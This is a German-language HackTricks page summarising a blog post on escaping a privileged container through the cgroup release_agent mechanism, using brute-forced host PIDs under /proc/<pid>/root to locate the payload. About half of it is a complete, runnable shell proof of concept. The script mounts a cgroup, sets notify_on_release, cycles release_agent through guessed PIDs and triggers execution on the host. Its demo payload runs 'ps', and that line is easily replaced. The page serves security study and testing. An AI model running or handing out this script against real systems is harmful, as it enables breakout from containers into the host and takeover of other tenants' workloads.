release_agent exploit - Relative Paths to PIDs

Support HackTricks

Für weitere Details überprüfen Sie den Blogbeitrag von https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Dies ist nur eine Zusammenfassung:

Die Technik beschreibt eine Methode zum Ausführen von Host-Code aus einem Container, die Herausforderungen durch Speicher-Driver-Konfigurationen überwindet, die den Dateisystempfad des Containers auf dem Host verschleiern, wie Kata Containers oder spezifische devicemapper-Einstellungen.

Wichtige Schritte:

  1. Prozess-IDs (PIDs) lokalisieren: Mit dem symbolischen Link /proc/<pid>/root im Linux-Pseudo-Dateisystem kann jede Datei innerhalb des Containers relativ zum Dateisystem des Hosts zugegriffen werden. Dies umgeht die Notwendigkeit, den Dateisystempfad des Containers auf dem Host zu kennen.

  2. PID-Bashing: Ein Brute-Force-Ansatz wird verwendet, um durch PIDs auf dem Host zu suchen. Dies geschieht, indem sequenziell auf das Vorhandensein einer bestimmten Datei unter /proc/<pid>/root/<file> überprüft wird. Wenn die Datei gefunden wird, zeigt dies an, dass die entsprechende PID zu einem Prozess gehört, der im Zielcontainer läuft.

  3. Ausführung auslösen: Der erratene PID-Pfad wird in die Datei cgroups release_agent geschrieben. Diese Aktion löst die Ausführung des release_agent aus. Der Erfolg dieses Schrittes wird durch die Überprüfung der Erstellung einer Ausgabedatei bestätigt.

Ausbeutungsprozess

Der Ausbeutungsprozess umfasst eine detailliertere Reihe von Aktionen, die darauf abzielen, ein Payload auf dem Host auszuführen, indem die korrekte PID eines Prozesses, der im Container läuft, erraten wird. So verläuft es:

  1. Umgebung initialisieren: Ein Payload-Skript (payload.sh) wird auf dem Host vorbereitet, und ein einzigartiges Verzeichnis wird für die cgroup-Manipulation erstellt.

  2. Payload vorbereiten: Das Payload-Skript, das die auszuführenden Befehle auf dem Host enthält, wird geschrieben und ausführbar gemacht.

  3. Cgroup einrichten: Die cgroup wird gemountet und konfiguriert. Das Flag notify_on_release wird gesetzt, um sicherzustellen, dass das Payload ausgeführt wird, wenn die cgroup freigegeben wird.

  4. Brute Force PID: Eine Schleife iteriert durch potenzielle PIDs und schreibt jede erratene PID in die Datei release_agent. Dies setzt das Payload-Skript effektiv als release_agent.

  5. Ausführung auslösen und überprüfen: Für jede PID wird in die cgroup.procs der cgroup geschrieben, was die Ausführung des release_agent auslöst, wenn die PID korrekt ist. Die Schleife wird fortgesetzt, bis die Ausgabe des Payload-Skripts gefunden wird, was auf eine erfolgreiche Ausführung hinweist.

PoC aus dem Blogbeitrag:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Unterstützen Sie HackTricks

Last updated